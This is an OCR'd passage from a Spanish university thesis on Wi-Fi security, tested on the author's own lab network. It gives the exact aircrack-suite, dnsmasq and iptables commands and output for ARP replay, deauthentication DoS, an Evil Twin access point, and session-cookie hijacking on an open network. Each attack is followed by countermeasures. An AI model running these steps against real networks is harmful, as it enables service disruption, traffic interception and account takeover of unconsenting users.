vamente, visto en los apartados de teoria de cada protocolo, 2.2.3 para WPA y 2.2.4 para
WPA2. El tinico protocolo, sin contar el OPN, que no ofrece seguridad ante la inyeccion
de paquetes es WEP.

El objetivo de este ataque es la reinyeccion de paquetes a un AP con la finalidad
de incrementar el trafico, y asi aumente el nimero de IV utilizados, los cuales son
necesarios para descifrar la clave WEP.

Escenario

El escenario 1 con red WEP y un cliente conectado. El resto de informacién referente a
la red serd irrelevante. Por otro lado, la tarjeta de red del atacante debe tener habilitado
el modo monitor.

Ejecucién del ataque

Primero se realiza un escaneo del trafico y una captura del mismo (ver apartado 4.4.3).
En la figura 4.23 se ve como se estd capturando el trafico de una red WEP con un cliente
conectado.

#Data, #/s CH MB ENC CIPHER AUTH ESSID

76 0 6 54e. WEP WEP TFG_UIB

BSSID PWR Rate Lost Frames

E8:94:F6:D4:3

Figura 4.23: Captura del tréfico de una red WEP

La herramienta aireplay-ng con el ataque nimero 3, trata de escuchar la red hasta
que captura una peticiéon ARP [37]. ARP es un protocolo de resolucion de direcciones,
donde es usado con el fin de convertir una direccién Internet Protocol (IP) en una
direccién MAC.

En el momento que escucha un paquete ARP, realiza la reinyeccién de esta trama
constantemente en el AP, consiguiendo asi la generacién de gran volumen de tréfico.
Para conseguirlo se usa el siguiente comando:

aireplay-ng -3 -b E8:94:F6:D4:35:77 -h 1C:65:9D:37:B1:7F wlanOmon
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El -3 se refiere al ataque de reinyecciéon de paquetes, seguido de -b estd la BSSID
del AP, después de -h la direccion MAC del cliente que estd conectado o bien la MAC
de un cliente con falsa autenticacién, y por ultimo, la tarjeta de red en modo monitor.

Cada trama inyectada contendrd un IV distinto. En la figura 4.24 se puede ver la
ejecucion de aireplay-ng y la realizacién de la reinyeccién de tramas.

:~# aireplay-ng -3 -b E8:94:F6:D4:35:77 -h 1C:65:9D:37:B1:7F wlanOmon
he interface MAC (F4:F2:6D:44:7D:3B) doesn't match the specified MAC (-h).
ifconfig wlanBmon hw ether 1C:65:9D:37:B1:7F
01:09:26 Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
Saving ARP requests in replay arp-0605-010926.cap
You should also start airodump-ng to capture replies.

packets (got 35 ARP requests and 252 ACKs), sent 36 packets... (510 pps
packets (got 82 ARP requests and 301 ACKs), sent 85 packets...(498 pps

1 packets (got 127 ARP requests and 346 ACKs), sent 135 packets... (498
packets (got 176 ARP requests and 398 ACKs), sent 185 packets... (498

4 packets (got 221 ARP requests and 448 ACKs), sent 236 packets...(501

1 packets ( 258 ARP requests and 496 ACKs), sent 286 packets... (500
packets (o 307 ARP requests and 550 ACKs), sent 335 packets... (499

Figura 4.24: Reinyeccién del paquete ARP capturado

Tras la ejecucién del comando, se genera un gran volumen de datos aumentando
en la captura de trafico de airodump-ng el nimero de #Data (ver figura 4.25) y por
consiguiente el niimero de IV. Este ataque ayuda a descifrar la clave WEP.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

8:94:F6:D4:35:77 -42 0O 9910 39459 777 6 1lle. WEP WEP SKA TFG_UIB

BSSID STATION PWR  Rate Lost Frames Probe

8:94:F6:D04:35:77 1C:65:9D:37:B1:7F 8 1le-1 756 62528

Figura 4.25: Incremento del niimero de #Data

Contramedidas

El ataque de reinyecciéon de paquetes que pudiera realizar un atacante tendrd como
objetivo a redes WEP, ya que buscard el incremento de trafico para aumentar el niimero
de IV obtenidos.

Ante tal ataque, la tinica forma de protegerse es no emplear el protocolo de seguri-
dad WEP, como se ha comentado en la contramedida del ataque de test de inyeccion.
Cualquier otro, sea WPA o WPA2, tienen nimero de secuencia de tramas con lo que la
reinyeccién de tramas que recibe el AP la descarta por no coincidir con la secuencia.

4.4.8 Desautenticaciony denegacion de servicio
Introduccién

Existen diversos ataques DoS, aunque los ataques de este apartado se centran en la capa
de enlace del protocolo OSI. Los ataques mas conocidos son los que conllevan falsificar
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tramas de desautenticacion o desasociacion. El objetivo es inutilizar la red, impidiendo
que el AP y las STA asociadas se comuniquen. Esto se consigue porque las tramas de
desautenticaciéon son facilmente fasificables. Gracias al ataque de desautenticacién
existente en airplay-ng, se puede desautenticar y realizar un ataques DoS.

Escenario

Al escenario 1 se le anade al atacante que la tarjeta de red tiene activado el modo
monitory estd capturando el trafico (ver apartado 4.4.3). No es necesario proporcionar
informacion sobre la configuracién de seguridad del AP.

Ejecucién del ataque

En este apartado se realiza una desautenticacioén del cliente, donde si se ejecuta cons-
tantemente, no dard la posibilidad de que el cliente llegue a asociarse, terminando en
un ataque DoS. Estos ataques se puede realizar para una STA en concreto, o en modo
broadcast para que todas las STA que estén asociadas al AP no puedan asociarse. Con
esto, se obtiene la inutilizacién de la red porque ninguna STA llega a asociarse [35].

Conociendo la BSSID del AP victima, se ha empleado el siguiente comando de
aireplay-ng con el ataque de desautenticacién, que se puede ver en la figura 4.26, con
el fin de enviar tramas de desautenticacion:

aireplay-ng -0 5 -a E8:94:F6:D4:35:77 wlanOmon

Donde -0 corresponde al ataque de desautenticacion, 5 es el nimero de tramas
de desautenticacién que se quieren enviar, seguido de -a estd el BSSID de la red y
wlanOmon es la interfaz inalambrica en modo monitor. Si el ndmero de tramas de
desautenticacién es 0, envia tramas de desautenticacién mientras el comando siga en
ejecucion y asi realizard un ataque DoS. En la figura 4.26 se puede ver un ejemplo del
comando.

:~# aireplay-ng -0 5 -a E8:94:F6:D4:35:77 wlan@mon
19:24:05 Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac=).

:24:05 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:07 Sending DeAuth to broadcast -- BSSID: 8:94:F6:04:35:77]
:24:07 Sending DeAuth to broadcast -- BSSID: 8:94:F6:D4:

Figura 4.26: Ataque de desautenticacion

Con que el nimero de tramas de desautenticacién a enviar sea uno, se puede
desautenticar el cliente, dejando que se asocie otra vez con el fin de obtener el método
de autenticacién.

Ademads, si se especifica la direccion MAC de un cliente, se puede inutilizar sélo el
servicio para ese usuario concreto. Se puede ver en la figura 4.27, donde se emplea el
siguiente comando:

aireplay-ng -0 5 -a E8:94:F6:D4:35:77 -¢ 1C:65:9D:37:B1:7F wlanOmon

Donde la diferencia con el ataque anterior de desauteticacion es que seguido de -c¢
estd la direccion MAC del AP.
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:~# aireplay-ng -0 5 -a E8:94:F6:D4:35:77 -c 1C:65:9D:37:B1:7F wlanBmon

Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1:7F] [29]64 ACKs]

Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1:7F] [10]|64 ACKs]
Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1:7F] [49]65 ACKs]
Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1:7F] [ 0]63 ACKs]
Sending 64 directed DeAuth. STMAC: [1C:65:9D:37:B1l:7F] [16]55 ACKs]

Figura 4.27: Ataque de desautenticacion con cliente

Contramedidas

Los ataques DoS son muy peligrosos ya que no buscan obtener la informacién de la
red, sino que su objetivo es inutilizarla. Se puede atacar al AP o al cliente. Una forma de
evitar estos tipos de ataques es poseer un AP el cual tenga un software preparado para
estos ataques y pueda actuar de forma preventiva cuando detecta el comienzo de un
ataque DoS.

4.4.9 Evil Twin
Introducciéon

Evil Twin es uno de los ataques més potentes y es una amenaza para la confidencialidad
eintegridad de una WLAN y para los clientes que acceden a ella. La funcionalidad de un
Evil Twin es crear una copia del AP, en el que todos los clientes que vayan a conectarse
al AP legitimo en realidad lo hacen al falso AP. Al ser una copia exacta del AP original,
es casi imposible detectarlo. Esta copia del AP se puede realizar mediante un router
fisico o una simulacién de un AP empleando software. En un ataque Evil Twin el AP es
suplantado por el atacante.

Debido a que el atacante controla el AP, es posible capturar y manipular cualquier
informacién que recibe, convirtiendo ésto en un abanico de posibilidades para el
atacante. Si el AP es una copia perfecta y tiene una sefial mds potente que el AP original,
el cliente se conectard automdéticamente al AP del atacante. Para realizar el ataque, se
deberdn conocer los datos del AP para realizar una correcta falsificacién como son el
BSSID, canal, algoritmo de cifrado, tipo de cifrado, ESSID y contrasefia si la hubiese.

En principio, el falso AP debera estar conectado a la red legitima, o en su defecto a
Internet. Si no fuese asi, o se desconociera la clave del AP legitimo, se podria emplear
para realizar un ataque de falsa autenticaciéon. También se puede obtener el handshake
de una red WPA/WPA2 con el tipo de cifrado PSK. Ademds, sila red es WPA2 con el tipo
de cifrado EAP, ésta es susceptible al ataque siempre y cuando no compruebe ningtin
certificado.

Escenario

Al escenario 1, se le anadird el tipo de red WEP. Ademas, la tarjeta de red del atacante
debe encontrarse en modo monitor.
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Ejecucién del ataque

A continuacidn se verdn las distintas acciones para que un cliente se asocie con nuestro
falso AP, donde el cliente podrd emplear Internet como si estuviese conectado a su red
[38].

Lo primero de todo serd crear, con la ayuda de airbase-ng [24], nuestro falso AP. Para
ello, se realizard una captura del trafico (ver apartado 4.4.3) para saber la informacién
necesaria del AP victima y crear la copia. Segtn su algoritmo de cifrado y tipo de cifrado,
se necesitard un comando u otro:

¢ airbase-ng -e TFG_UIB -a 00:11:22:33:44:55 -¢ 6 wlan0Omon
Crea una red OPN sin cifrado ni contraseiia.

* airbase-ng -e TFG_UIB -a 00:11:22:33:44:55 -¢ 6 -W 1 wlanOmon
Crea una red WEP.

e airbase-ng -e TFG_UIB -a 00:11:22:33:44:55 -¢c 6 -W 1 -z 2 wlanOmon
Crea una red WPA con -z 'y asignando el numero 2 indica tipo de protocolo TKIP.

e airbase-ng -e TFG_UIB -a 00:11:22:33:44:55 -¢ 6 -W 1 -Z 4 wlanOmon
Crea una red WPA2 con -Z y con el nimero 4 indica el tipo de protocolo CCMP.

Un ejemplo de su uso se puede ver en la figura 4.28, donde se crea una red de la
segunda forma del listado.

:~# airbase-ng -e TFG_UIB -a 00:11:22:33:44:55 -c 6 -w 0123456789 wlan@

Created tap interface at0@

Trying to set MTU on at@® to 1500

Access Point with BSSID 00:11:22:33:44:55 started.

Client 1C:65:9D:37:B1:7F associated (WEP) to ESSID: "TFG UIB"

Figura 4.28: Creacién de un AP WEP

Si el AP creado tiene el mismo ESSID, canal, BSSID, tipo de protocolo y algoritmo
de cifrado, entonces la captura de trafico por airodump-ng s6lo vera una red. No dife-
rencia entre la original y la copia. Esto mismo hard el cliente que intente conectarse, se
conectard al AP que tenga mayor seflal de cobertura. En la figura 4.29 se ha modificado
el BSSID para que sean diferenciados.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

E8:94:F6:D4:35:77 -34 100 36 6 1le. WEP WEP TFG_UIB
00:11:22:33:44:55 0 100 74 @ 6 54 WEP WEP TFG_UIB

Figura 4.29: Visualizacién del AP original y su Evil Twin

Hasta este punto, si no tenemos la contrasena o no tenemos un servidor Dynamic
Host Configuration Protocol (DHCP) con conexién a Internet para que el cliente crea
que estd conectado a su red, podemos obtener el handshake de la red siempre que
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estemos capturando trafico con airodump-ng. De este modo se puede obtener el primer
paso para descifrar la clave de la red.

Para que el cliente se intente asociar a nuestro AP habrd que esperar a que se vuelva
a conectar o hacer un ataque de desautenticacién como en el apartado 4.4.8. Asi se
conseguird que se autentique en nuestro Evil Twin, si éste tiene mayor sefial que el
original.

Suponiendo que se sabe la contrasefia de la red, lo siguiente es crear un servidor
DHCP con el fin de poder darle una IP valida al cliente para conectarse a Internet.
Modificamos el archivo dnsmasq.conf ubicado en /etc/dnsmasq.conf con los datos de
la figura 4.30:

e La primera linea es el nombre de la interfaz que se usard como servidor DHCP.

* En dhcp-range es el rango de direcciones IP y en este caso las direcciones que se
asignen a clientes tendrdn una duracién méxima de 12 horas.

* Dhcp-option, donde con el valor 3 y 6 son la IP de la direcci6én del router y el
dominio del servidor, respectivamente. Para més informacién sobre las distintas
opciones se puede acceder a dnsmasq —help dhcp.

e Server es la direccion IP que tendrd nuestro servidor creado.

* Por ultimo, log-dhcp y log-queries servirdan para imprimir en consola los logs
mientras esté en ejecucion el servidor.

dnsmasq.conf o @ &

Archivo Editar Buscar Opciones Ayuda

linterface=at0 N
dhcp-range = 10.0.0.10,10.0.0.250,12h
dhcp-option = 3,10.0.0.1

dhcp-option = 6,10.0.0.1

server = 8.8.8.8

log-dhcp

log-queries

Figura 4.30: Configuracion del dnsmasq.conf

Ahora que tenemos los datos para el servidor, activamos la interfaz para que reciba
las peticiones como se puede ver en la figura 4.31, y posteriormente, lanzamos el
servidor DHCP con el siguiente comando [39]:

dnsmasq -C /etc/dnsmasq.conf -d

-C quiere indicar el archivo que se usa de configuracién y con -d se activa el modo
debug para poder ver los logs.

En este momento, tenemos el servidor DHCP preparado para recibir peticiones y
asignar una IP al cliente que se conecte a nuestro Evil Twin. Lo Gnico que faltaria es
el tratamiento de paquetes como si de un router real se tratase. Asi, el cliente creerd
que estd conectado al AP original. Para ello, el equipo atacante debe estar conectado a

58



4.4. Ataques bdsicos

:~# ifconfig at® 10.0.0.1/24 up

:~# dnsmasq -C /etc/dnsmasq.conf -d

Figura 4.31: Activacion de la interfaz de red y ejecucion de dnsmasq

Internet via ethernet. Con motivo de reenviar los paquetes necesitaremos realizar los
siguientes pasos:

¢ Activar el reenvio de paquetes, que suele estar inhabilitado.
echo 1 >/proc/sysinet/ipv4/ip_forward

¢ Anadir una ruta a la tabla de rutas.
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

* Modificaciones en las tablas IP, primero permite el reenio de paquetes y el se-
gundo comando permite realizar las traducciones de direcciones de redes.
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

En este momento, el cliente ya puede conectarse al Evil Twin, navegar por Internet
creyendo que estd en su AP, pero lo que realmente ocurre es que todo el trafico que
estd generando estd pasando a través de un tercero y éste puede capturar, analizary
modificar toda la informacién. En la figura 4.32, se puede observar cémo el cliente se
ha asociado y ha recibido una IP. También en la figura 4.33 se puede ver que se conecta
a Internet con el ejemplo de Google.

-dhcp: 3593971462 available DHCP range: 10.0.0.10 -- 10.0.0.250
-dhcp: 3593971462 client provides name: carlos-HP-ProBook-4520s
-dhcp: 3593971462 DHCPDISCOVER(at@) 1c:65:9d:37:bl:7f

-dhcp: 3593971462 etiquetas: atO

-dhcp: 3593971462 DHCPOFFER(at@®) 10.0.0.195 1c:65:9d:37:bl:7f

-dhcp: 3593971462 requested options: l:netmask, 28:broadcast, 2:time-offs
et, 3:router,
dnsmasq-dhcp: 3593971462 requested options: 15:domain-name, 6:dns-server, 119:do
main-search,
dnsmasqg-dhcp: 3593971462 requested options: 12:hostname, 44:netbios-ns, 47:netbi

Figura 4.32: Cliente asociado al Evil Twin

query[AAAA] apis.google.com from 16.6.0.195
cached apis.google.com is <CNAME=

forwarded apis.google.com to 8.8.
reply apis.google.com 15 HCNAMEp
ly plus.l. 1

Figura 4.33: Conexion a Internet a través del Evil Twin

Si la red es WPA o WPA2 se necesitard otro archivo para los datos del AP como la
contrasefia, ya que airbase-ng sélo permite crear un AP sin contrasefia o del tipo WEP.
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Permite crear la red WPA o WPA2 pero sin la posibilidad de informar de la contrasefia y
sus posibles ajustes. Para esto, y para mds informacién que se quiera dar sobre el Evil
Twin a crear, se necesita modificar el archivo hostapd como se puede ver en la figura
4.34. También, comparte ubicacién con DHCP en /etc/hostaspd.

r

hostapd e 0o @‘

Archivo Editar Buscar Opciones Ayuda

# Define interface

interface=wlan®

# Select driver

driver=nl1806211

# Set access point name

ssid=TFG_UIB

# Set access point harware mode to 802.11g

hw _mode=g

# Set WIFI channel (can be easily changed)

channel=6

# Enable WPA2 only (1 for WPA, 2 for WPAZ, 3 for WPA + WPA2)
wpa=2

wpa_ passphrase=65949955

Figura 4.34: Archivo de configuracién hostapd [40]

Contramedidas

El ataque Evil Twin es uno de los ataques mas potente y dificil de detectar. La creacion
de un AP controlado por el atacante es un escenario muy peligroso para la victima. En
estos casos hay que tener en cuenta al AP que uno se conecta, por ejemplo, cuando un
AP al que se intenta conectar ofrece Wi-Fi gratis, haciéndose pasar por ejemplo por una
red puiblica del gobierno, puede que no sea segura. Tampoco es segura unared en la que
la contrasena sea facilmente accesible por cualquiera, como en una cafeteria donde
todos los clientes pueden tener acceso a la contrasefia. Cada vez mas, las aplicaciones,
péaginas webs y navegadores de Internet cifran su contenido para que cualquier escucha
de informacién no pueda ser interpretada.
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CAPITULO

ATAQUES A LOS PROTOCOLOS DE SEGURIDAD
802.11

5.1 Ataques aredes abiertas

Introducciéon

El primer ataque que se debe contemplar relacionado a las redes inaldmbricas es la red
abierta. Las redes abiertas son identificadas por la nomenclatura OPN en la aplicacién
airodump-ng, utilizada para realizar sniffing (ver apartado 4.4.3). Este tipo de redes
son bastante peligrosas en cuanto a la confidencialidad e integridad de los datos que
envian y reciben los usuarios. Esto es debido a que las redes abiertas transmiten la
informacioén sin una capa de seguridad que proteja los datos. Por eso, con tan sélo tener
un dispositivo con una tarjeta de red en modo monitor, es suficiente para interceptar
todo el trafico que circula por la red. Hay que tener en cuenta, que si el trafico es
Hyperlext Transfer Protocol (HTTP), se puede obtener toda la informacién. En cambio,
si el trafico es HyperText Transfer Protocol Secure (HTTPS), es el protocolo TLS el que
protege la informacién cifrandola en la capa de aplicacién. Esto dltimo no serd abarcado
por este trabajo ya que se escapa del &mbito de las redes 802.11.

Hoy en dia es muy comtn encontrar este tipo de redes en centros comerciales,
cafeterias, ciudades con Wi-Fi publico, etc. El ataque consiste en realizar un ataque
MITM de los paquetes que circulan en la red, para después filtrarlos con Wiresharky
obtener las cookies de la sesion de alguna pagina para efectuar un Hijacking.

Escenario

La implementacién de este ataque se ha llevado a cabo en el escenario 1. La red no
tendré ningtin protocolo de seguridad activado y tampoco cifra la informacién que
transcurre en la red. Esta informacién es ofrecida por un ataque de warchalking (ver
apartado 4.3.1), donde hay en una pared el dibujo de una red abierta cerca. Ademas:
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¢ Un usuario esta asociado al AP.

* Elusuario estd visitando un foro de un videojuego.

Ejecucién del ataque

Al tratarse de una red sin cifrado, el principal ataque es capturar todo el trafico que
circula en lared.

En la figura 5.1 se puede ver como la red en la que se esta capturando el trafico con
airodump-ng es OPN y que tiene un cliente conectado.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
8:94:F6:D04:35:77 -27 100 450 256 l 6 54e. DPN TFG_UIB

BSSID STATION PWR  Rate Lost Frames Probe

8:04:F6:D4:35:77 1C:65:9D:37:B1:7F -56 le- 1 0 14 TFG UIB

Figura 5.1: Captura del trafico de una red OPN

En el momento de la captura del trafico, s6lo hay que esperar a que el cliente
navegue por Internet y vaya dejando informacién por la red. Toda esta informacién
serd almacenada en la captura para analizarla posteriormente. La herramienta para
analizar el trafico capturado es Wireshark con la que es posible aplicar un filtro con el
objetivo de obtener informacién de la captura importante o sensible [13].

Enla figura 5.2 se aplica un filtro de bisqueda en la captura de la red. En este caso,
se realiza un filtro por cookie, donde se espera obtener informacién de alguna sesién
en la que haya entrado el cliente. El filtro usado es http contains Cookie. Se puede
observar que al filtrar se ha encontrado una cookie referente a un foro de un videojuego,
foromonsterhunter.com. Posteriormente, el resultado de filtrar la cookie ddndole click
derecho, Followy HTTP Stream, se puede ver en la figura 5.3, aparece el usuario y su
contraseiia. Ademads, aparece el sid de la cookie para poder inyectarla.

http contains Cookie

Source Destination Protocol Length Info

1279 18.222250 15 1338 HTTR/1.1

1285 18.223775 197 168.0.100 04.23.150,222 P 86 59638 ~ 80 [ACK] Seq 894 Ack=1253 Win=1269 Len=0 TSval=2479924 TSecr=2489240223
1200 18.258078 192.168.0.100 94.23.150.222 1188 GET / HTTP/1.1

1308 18.314473 94.23.150.222 192.168.0.100 P 86 80 — 59638 [ACK] Seq=1253 Ack=1996 Win=13 Len=0 TSval=2489240246 TSecr=2479932
1317 18.371616 94.23.150.222 192.168.0.100 1534 [TCP segment of a reassembled PDU]

Frame 1209: 978 bytes on wire (7824 mts) 978 bytes captured (7824 bits)
IEEE 802.11 QoS Data, Flags
Logical-Link Cantrol
Internet Protocol version 4, Src: 192.168.0.100, Dst: 94.23.150.222
Transmission Control Protocol, Src Port: 59638, Dst Port: 80, Seq: 2, Ack: 1, Len: 892
Hypertext Transfer Protocol
» POST /login HTTP/1.1\r\n
Host: www.foromonsterhunter.com\r\n
User-Agent: Mozillas5.0 (X11; Ubuntu; Linux x86_64; rv:53 O) GECKU/ZOIOOlOl Firefox/53.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q= 8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Accept-Encoding: gzip, deflate\r\n
Content-Type: application/x-www-form-urlencoded\rin
» Content-Length: 83\r\|
[ Reterer hotp //wn Foromonstehunter comlogimvin
» [truncated]Cookie: _ Utma=257069084.1576517761.1504571166.1504571166.1504571203.2; _ utmb=257069084.15.10.1504571203, _ utmz=257069084.1504571203.2.2.utmcs r=google
Connection: keep-alive\rn
Upgrade-Insecure-Requests: 1\r\n
\r\n
Full request URL: http://www.foromonsterhunter.com/login]
HTTP request 1/3]
[Response in frame: 1279
[Next request in frame: 1290

iTe Data: @a bvres

Figura 5.2: Captura del trafico general
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Wireshark - Follow HTTP Stream (tcp.stream eq 10) - cap-01 e ® 0

username=carlos800&password=0d341774fautologin=on&redirect=&query=&login=ConectarseHTTP/1.1 302 Found
1= N o) Lo =1 8 UGB O BT A

Content-Length: ©

P3F: CP="IDC DSP COR ADM DEVi TAIL1 PSA PSD IVAL IVDi CONi HIS QUR IND CNT"

Set-Cookie: fa_www_foromonsterhunter_com_data=deleted; expires=Thu, 81-Jan-1970 @0:00:01 GMT, Max-Age=0, path=/
Set-Cookie: fa_www_foromonsterhunter_com_sid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: fa_www_foromonsterhunter_com_data=deleted; expires=Thu, 81-Jan-1970 @0:08:01 GMT, Max-Age=0, path=/;
domain=.www.foromonsterhunter com

Set-Cookie: fa_www_foromonsterhunter_com_sid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;
domain=. www.foromonsterhunter.com

Set-Cookie: fa_www_foromonsterhunter_com_data=a%3A3%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A64%3A
%22c1e3f66132e4a75db514e1293317478cal555d70c1e3f661c00904a fra7b2edb%22%3Bs%3AE%3A%22uUs e rid%22%3BsH3IA4%IA
%224950%22%3Bs %3A5%IA%22p0S Ls%22%3Ba%3AZ%3 A% TBSHIAGKIAK2ZnUND e rE22%3B1%3A0%3BS%IA4%3A%22]1as L%22%3B1%3A0%3B%70D% 70 ;
expires=Wed _05-Sep-2018 00:30:38 GMT: Max-Age=31536000: path=/: domain=www.foromonsterhunter.com

Set-Cookie: oromonsterhunter com s1d=23c76116433403e5277b2610618a3d69; bhath=/,

domain=www. TOromonsterhunter.com - —
Location: http://www.foromonsterhunter.com/

3 client pkt(s), 3 server pkt(s), 5 tumn(s).

Entire conversation (57 kB) - Show and save data as | ASCII -
Find: Find Next
Help Filter Out This Stream Print Save as... Back Close

Figura 5.3: Captura del tréfico general

Gracias a la informacién obtenida, es posible usar cualquier plugin para inyectar
cookies en un navegador. De esta manera, es posible recuperar la sesién del cliente en
esa pagina como se puede ver en la figura 5.4, donde se usa el add-on Cookies Manager+
para crear una cookie [41] .

(& Add new cookie - Cookies Manager+ - O x

Mombre: fa_www_foromonsterhunter_com_sid

Contenide: 23c761f6433403e5277b261061 Sa3d6ﬂ

Actions - Wrap text

Domain: |.www.foromonsterhunter.com |
Ruta: |.fr |
Enviar para: Cualquier tipo de conexién

Http Only: No

Expira: at end of session

Save Cancel

Figura 5.4: Creacion de una cookie con el add-on Cookies Manager+

Contramedidas

Las redes abiertas no ofrecen ninguna configuracién de seguridad siendo las redes més
vulnerables y més usadas en centros comerciales, ciudades, bares, etc. No se aconseja
el uso de redes publicas. Si la informacién no va cifrada, es muy facil interpretar la
informacion.

La mejor prevencion ante el uso de las redes abiertas es no utilizarlas. El cliente
queda expuesto a cualquier posible ataque y robo de informacién quedando tanto la
integridad como la confidencialidad de la informacién comprometidas.
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5.2 Ataques WEP

Introducciéon

El protocolo de seguridad WEP fue introducido con el fin de ofrecer autenticacion,
integridad y confidencialidad en una red inaldmbrica. Debido a sus vulnerabilidades es
considerado un protocolo de seguridad obsoleto. Entre sus debilidades destacan [42]:

* No impide la falsificacién de paquetes ni los ataques de repeticion. Es posible
realizar ataques de reinyeccién de tramas ARP donde se generardn més IV con el
fin de obtener IV duplicados para descifrar la clave.

e Permite modificar un mensaje sin conocer la clave de cifrado camuflando las
modificaciones con el algoritmo CRC.

* Sipierde 1 bit, es necesario que se vuelva a enviar el paquete con su nuevo IV.

* Gracias alareutilizacién de los IV existe una variedad de métodos criptoanaliticos
capaces de descifrar datos e informacién sin la necesidad de la clave.

* IV cortos. Esto quiere decir que para una clave de 64 bits, 40 bits son de la SKy
24 bits del IV. El problema es que los 40 bits de la SK son fijos y los 24 bits del
IV se generan aleatoriamente. Es un niimero de bits bajo donde se obtiene 224
diferentes IV y cuando hay bastante tréfico se pueden llegar a repetir. Ademis,
los IV se envian en texto plano, ayudando al atacante que espera a que se repita
algn IV.

» F4cil creacion de mensajes de autenticacion, lo que conlleva a una posible auten-
ticacion falsa sin necesidad de saber la clave.

Escenario

El escenario 1 es el que se usard en el siguiente ataque al protocolo WEP. El protocolo de
seguridad es WEP y la autenticacion es SKA. El atacante tiene la tarjeta de red en modo
monitor. Hay un cliente conectado a la red y la contrasefia de la red es TFGuib2016017.

Ejecucién del ataque

En primer lugar se debe realizar una captura del trédfico que circula por la red (ver
apartado 4.4.3) para buscar nuestro AP objetivo. En la figura 5.5 se puede ver una lista
del tréfico que se esta obteniendo, y luego se filtra por el ESSID TFG_UIB que es el AP
victima. Al realizar este filtro, también se almacenard todo el trafico obtenido de la red
en un fichero *.cap [13]. El comando es el siguiente:

airodump-ng wlanOmon

En la figura 5.6 se puede observar que hay un cliente asociado a la red, donde se
esté filtrando por AP con el siguiente comando:

airodump-ng -bssid E8:94:F6:D4:35:77 —channel 6 -w captura_wep wlanOmon

Ahora que sabemos que tiene un cliente, es el momento de realizar el ataque de
desautenticacion (ver apartado 4.4.8), que se puede ver en la figura 5.7, con el fin de
que el cliente vuelva a autenticarse y asi genere un paquete ARP véalido. Como resultado,
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PWR Beacons H MB ENC CIPHER AUTH ESSID

-39 83
SE 3
71 1
-73 10
-79 13
-83 25
-84 7
-84 6
-85 8
-84 9
-86 3
-86 9

1le. WEP WEP TFG UIB
54e WPA CCMP PSK MOVISTAR 9065
54e WPA2 CCMP  PSK MiFibra-CBBE
54e WPA2 CCMP  PSK ONO12CB

13 54e. WPA2 CCMP  PSK Orange-8D42
54e. WPA2 CCMP  PSK JAZZTEL 1B

11 54e WPA2 CCMP MGT  AUTO ONOWiFi

11 54e OPN _ ONOWiFi

11 54e WPA2 CCMP  PSK (0ONO0963744

9 54e. WPA2 CCMP  PSK Orange-9025

7 54e WPA2 CCMP PSK wvodafone7BDC

13 54e. WPA2 CCMP  PSK Orange-8D42

WHD OO HUN-HD &
(<= Wl oo R cn Wcn Qo o B cn Rl cn o i n

STATION PWR  Rate Lost Frames Probe

:51 DO:22:BE:3B:4F:8B -1 le- 0
:BB D4:9A:20:5F:9D:30 -75 0 -1
:44 EA:08:6B:C3:A7:BB -1 le- @

Figura 5.5: Captura del trafico general

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
sl 36106 117 2 0 6 1le. WEP WEP TFG_UIB

STATION PWR Rate Lost Frames Probe

:77 1C:65:90:37:Bl:7F) =660 ' 1lle-1lle ] 4

Figura 5.6: Captura del trafico filtrado

se puede ver la captura de airodump-ng en la figura 5.8 que ha obtenido correctamente
la autenticacién. El comando de la desautenticacién es:
aireplay-ng -0 5 -a E8:94:F6:D4:35:77 -¢ 1C:65:9D:37:B1:7F wlanOmon

:~# aireplay-ng -0 5 -a E8:94:F6:D4:35:77 wlan@mon
19:24:05 Waiting for beacon frame (BSSID: E8:94:F6:D4:35:77) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac=).

:24:05 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:06 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:D4:35:77]
:24:07 Sending DeAuth to broadcast -- BSSID: :94:F6:D4:35:771
:24:07 Sending DeAuth to broadcast -- BSSID: :04:F6:D4:35:77

Figura 5.7: Desautenticacion del cliente

Esta autenticacion se puede utilizar para generar un ataque de falsa autenticacién
y también para reinyectar un paquete ARP vélido y generar trafico en la red a fin de que
aumente el nimero de IV.

Otra opcién es realizar un test de inyeccion y calidad (ver apartado 4.4.6) para
comprobar si la tarjeta de red es capaz de inyectar tramas con éxito en el AP. En la
figura 5.9 se puede ver el resultado del test de inyeccion.

Ahora, si se reinyecta el paquete ARP obtenido anteriormente, se conseguira ge-
nerar un gran numero de paquetes de datos. Esto es importante, ya que es necesario

65



5. ATAQUES A LOS PROTOCOLOS DE SEGURIDAD 802.11

CH 6 ][ Elapsed: 1 min ][ 2017-04-15 19:24 ][ |140 bytes keystream: E8:94:F6:D4:35:77

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

E8:94 35:77 -35 100 1123 307 B 6 1le. WEP WEP SKA | TFG_UIB

